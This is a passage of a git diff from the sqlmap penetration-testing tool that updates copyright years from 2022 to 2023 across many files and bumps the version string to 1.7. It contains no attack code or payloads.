+++ b/extra/beep/beep.py
@@ -3,7 +3,7 @@
 """
 beep.py - Make a beep sound
 
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/extra/cloak/__init__.py b/extra/cloak/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/extra/cloak/__init__.py
+++ b/extra/cloak/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py
index ddaf90303a8..77cef7c4219 100644
--- a/extra/cloak/cloak.py
+++ b/extra/cloak/cloak.py
@@ -3,7 +3,7 @@
 """
 cloak.py - Simple file encryption/compression utility
 
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/extra/dbgtool/__init__.py b/extra/dbgtool/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/extra/dbgtool/__init__.py
+++ b/extra/dbgtool/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py
index 6832980b87e..c8e0c97339c 100644
--- a/extra/dbgtool/dbgtool.py
+++ b/extra/dbgtool/dbgtool.py
@@ -3,7 +3,7 @@
 """
 dbgtool.py - Portable executable to ASCII debug script converter
 
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/extra/shutils/blanks.sh b/extra/shutils/blanks.sh
index 39bf14fecb9..bcc7440aff4 100755
--- a/extra/shutils/blanks.sh
+++ b/extra/shutils/blanks.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Removes trailing spaces from blank lines inside project files
diff --git a/extra/shutils/drei.sh b/extra/shutils/drei.sh
index bf48851a0b1..9a75fbf2f9e 100755
--- a/extra/shutils/drei.sh
+++ b/extra/shutils/drei.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Stress test against Python3
diff --git a/extra/shutils/duplicates.py b/extra/shutils/duplicates.py
index 085909ea0a4..0278b85dc3b 100755
--- a/extra/shutils/duplicates.py
+++ b/extra/shutils/duplicates.py
@@ -1,6 +1,6 @@
 #!/usr/bin/env python
 
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Removes duplicate entries in wordlist like files
diff --git a/extra/shutils/junk.sh b/extra/shutils/junk.sh
index 375dab75120..e3bfc70b96b 100755
--- a/extra/shutils/junk.sh
+++ b/extra/shutils/junk.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null
diff --git a/extra/shutils/modernize.sh b/extra/shutils/modernize.sh
index 1bda50f5e83..e0b5352d892 100755
--- a/extra/shutils/modernize.sh
+++ b/extra/shutils/modernize.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # sudo pip install modernize
diff --git a/extra/shutils/pycodestyle.sh b/extra/shutils/pycodestyle.sh
index 137ea73ba79..34d995cde68 100755
--- a/extra/shutils/pycodestyle.sh
+++ b/extra/shutils/pycodestyle.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)
diff --git a/extra/shutils/pydiatra.sh b/extra/shutils/pydiatra.sh
index 9e45e61ef9c..6f964e74752 100755
--- a/extra/shutils/pydiatra.sh
+++ b/extra/shutils/pydiatra.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Runs py3diatra on all python files (prerequisite: pip install pydiatra)
diff --git a/extra/shutils/pyflakes.sh b/extra/shutils/pyflakes.sh
index eb4640542a4..9d64d9893dc 100755
--- a/extra/shutils/pyflakes.sh
+++ b/extra/shutils/pyflakes.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes)
diff --git a/extra/shutils/pylint.sh b/extra/shutils/pylint.sh
index 2dc13c0731b..b8898be2d36 100755
--- a/extra/shutils/pylint.sh
+++ b/extra/shutils/pylint.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pylint --rcfile=./.pylintrc '{}' \;
diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh
index c2b735ebbf0..4aed1e72d6e 100755
--- a/extra/shutils/pypi.sh
+++ b/extra/shutils/pypi.sh
@@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -67,7 +67,7 @@ cat > sqlmap/__init__.py << EOF
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/extra/vulnserver/__init__.py b/extra/vulnserver/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/extra/vulnserver/__init__.py
+++ b/extra/vulnserver/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py
index 37d7df3c3be..76f9c23762a 100644
--- a/extra/vulnserver/vulnserver.py
+++ b/extra/vulnserver/vulnserver.py
@@ -3,7 +3,7 @@
 """
 vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes)
 
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/__init__.py b/lib/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/lib/__init__.py
+++ b/lib/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/controller/__init__.py b/lib/controller/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/lib/controller/__init__.py
+++ b/lib/controller/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/controller/action.py b/lib/controller/action.py
index 40f9b78d833..1aeb0bcc409 100644
--- a/lib/controller/action.py
+++ b/lib/controller/action.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/controller/checks.py b/lib/controller/checks.py
index 997abb3dc3e..b0d5fd6b51b 100644
--- a/lib/controller/checks.py
+++ b/lib/controller/checks.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/controller/controller.py b/lib/controller/controller.py
index 929a7c982bf..2ea81d9c242 100644
--- a/lib/controller/controller.py
+++ b/lib/controller/controller.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/controller/handler.py b/lib/controller/handler.py
index 1341fd44cd9..227a2ceb73f 100644
--- a/lib/controller/handler.py
+++ b/lib/controller/handler.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/__init__.py b/lib/core/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/lib/core/__init__.py
+++ b/lib/core/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/agent.py b/lib/core/agent.py
index b3f8700825c..001486101f2 100644
--- a/lib/core/agent.py
+++ b/lib/core/agent.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py
index 6bf001c5f35..3cccd2d1ec6 100644
--- a/lib/core/bigarray.py
+++ b/lib/core/bigarray.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/common.py b/lib/core/common.py
index bf2006d72bf..a691edc2ac3 100644
--- a/lib/core/common.py
+++ b/lib/core/common.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/compat.py b/lib/core/compat.py
index 6a7a4076914..851e57eb87d 100644
--- a/lib/core/compat.py
+++ b/lib/core/compat.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/convert.py b/lib/core/convert.py
index 4e7d02b62bd..c6f86aa1fe1 100644
--- a/lib/core/convert.py
+++ b/lib/core/convert.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/data.py b/lib/core/data.py
index 13551fe30a6..c2b4325d719 100644
--- a/lib/core/data.py
+++ b/lib/core/data.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/datatype.py b/lib/core/datatype.py
index 66dd103140c..eadcb9cf7ab 100644
--- a/lib/core/datatype.py
+++ b/lib/core/datatype.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/decorators.py b/lib/core/decorators.py
index 3f23895d137..433ae3f959b 100644
--- a/lib/core/decorators.py
+++ b/lib/core/decorators.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/defaults.py b/lib/core/defaults.py
index d4109c94f52..54410f6dbf6 100644
--- a/lib/core/defaults.py
+++ b/lib/core/defaults.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/dicts.py b/lib/core/dicts.py
index baae9643b08..157adc2aded 100644
--- a/lib/core/dicts.py
+++ b/lib/core/dicts.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/dump.py b/lib/core/dump.py
index 30884970456..2e3cdfde635 100644
--- a/lib/core/dump.py
+++ b/lib/core/dump.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/enums.py b/lib/core/enums.py
index b5582f47fca..188bd9fc3c9 100644
--- a/lib/core/enums.py
+++ b/lib/core/enums.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/exception.py b/lib/core/exception.py
index 84eb883053a..8e487ce30e9 100644
--- a/lib/core/exception.py
+++ b/lib/core/exception.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/gui.py b/lib/core/gui.py
index 6b839eca36e..fa6f2694943 100644
--- a/lib/core/gui.py
+++ b/lib/core/gui.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -223,7 +223,7 @@ def enqueue(stream, queue):
     helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE))
     helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE))
     helpmenu.add_separator()
-    helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2022\n\n    (%s)" % DEV_EMAIL_ADDRESS))
+    helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2023\n\n    (%s)" % DEV_EMAIL_ADDRESS))
     menubar.add_cascade(label="Help", menu=helpmenu)
 
     window.config(menu=menubar)
diff --git a/lib/core/log.py b/lib/core/log.py
index 2737b3095cf..64e4f1b71dd 100644
--- a/lib/core/log.py
+++ b/lib/core/log.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/option.py b/lib/core/option.py
index 29570dcdbb2..46583762048 100644
--- a/lib/core/option.py
+++ b/lib/core/option.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py
index 573361b9207..48343a494ac 100644
--- a/lib/core/optiondict.py
+++ b/lib/core/optiondict.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/patch.py b/lib/core/patch.py
index ca333bc9607..18681432519 100644
--- a/lib/core/patch.py
+++ b/lib/core/patch.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/profiling.py b/lib/core/profiling.py
index 9b39e1dd027..4fddab24a7e 100644
--- a/lib/core/profiling.py
+++ b/lib/core/profiling.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py
index a3cea35dcc8..0a6c1dd5185 100644
--- a/lib/core/readlineng.py
+++ b/lib/core/readlineng.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/replication.py b/lib/core/replication.py
index b21b1d19bb5..236d1ed4463 100644
--- a/lib/core/replication.py
+++ b/lib/core/replication.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/revision.py b/lib/core/revision.py
index 14e6b1b7f49..7abd30cd03e 100644
--- a/lib/core/revision.py
+++ b/lib/core/revision.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/session.py b/lib/core/session.py
index 9357a5bb525..c50d7b03e87 100644
--- a/lib/core/session.py
+++ b/lib/core/session.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/settings.py b/lib/core/settings.py
index ad6ed8453b4..3223a88e4ec 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.6.12.11"
+VERSION = "1.7"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/core/shell.py b/lib/core/shell.py
index e6ad40aa228..2ed47cecb8e 100644
--- a/lib/core/shell.py
+++ b/lib/core/shell.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py
index beb29f70a45..36fdf65636e 100644
--- a/lib/core/subprocessng.py
+++ b/lib/core/subprocessng.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/target.py b/lib/core/target.py
index 0b3fe9592a5..7496d71b793 100644
--- a/lib/core/target.py
+++ b/lib/core/target.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/testing.py b/lib/core/testing.py
index 96b93ee534a..55e2d659865 100644
--- a/lib/core/testing.py
+++ b/lib/core/testing.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/threads.py b/lib/core/threads.py
index cc0a5f572cd..4999b84919c 100644
--- a/lib/core/threads.py
+++ b/lib/core/threads.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py
index c68e0342b0c..4d9045149ad 100644
--- a/lib/core/unescaper.py
+++ b/lib/core/unescaper.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/update.py b/lib/core/update.py
index d85a39f064c..dee1639ebfa 100644
--- a/lib/core/update.py
+++ b/lib/core/update.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/wordlist.py b/lib/core/wordlist.py
index b634ed53f91..781642bf5b7 100644
--- a/lib/core/wordlist.py
+++ b/lib/core/wordlist.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/parse/__init__.py b/lib/parse/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/lib/parse/__init__.py
+++ b/lib/parse/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/parse/banner.py b/lib/parse/banner.py
index 45694b41c9f..42b4dddc1ba 100644
--- a/lib/parse/banner.py
+++ b/lib/parse/banner.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py
index 9b809baa655..b6bb36fb4b4 100644
--- a/lib/parse/cmdline.py
+++ b/lib/parse/cmdline.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py
index c5e47b10af7..6891d11b4e3 100644
--- a/lib/parse/configfile.py
+++ b/lib/parse/configfile.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/parse/handler.py b/lib/parse/handler.py
index 6815194e32f..9b951810cf9 100644
--- a/lib/parse/handler.py
+++ b/lib/parse/handler.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/parse/headers.py b/lib/parse/headers.py
index 0526b836527..52786244cee 100644
--- a/lib/parse/headers.py
+++ b/lib/parse/headers.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/parse/html.py b/lib/parse/html.py
index b23fb7264e3..6e2aa6e36e7 100644
--- a/lib/parse/html.py
+++ b/lib/parse/html.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/parse/payloads.py b/lib/parse/payloads.py
index 728beb97aa0..591abbfb7e0 100644
--- a/lib/parse/payloads.py
+++ b/lib/parse/payloads.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py
index 452f894e83f..db2f0901e9e 100644
--- a/lib/parse/sitemap.py
+++ b/lib/parse/sitemap.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/__init__.py b/lib/request/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/lib/request/__init__.py
+++ b/lib/request/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/basic.py b/lib/request/basic.py
index d865575e136..c00fd0df6ca 100644
--- a/lib/request/basic.py
+++ b/lib/request/basic.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
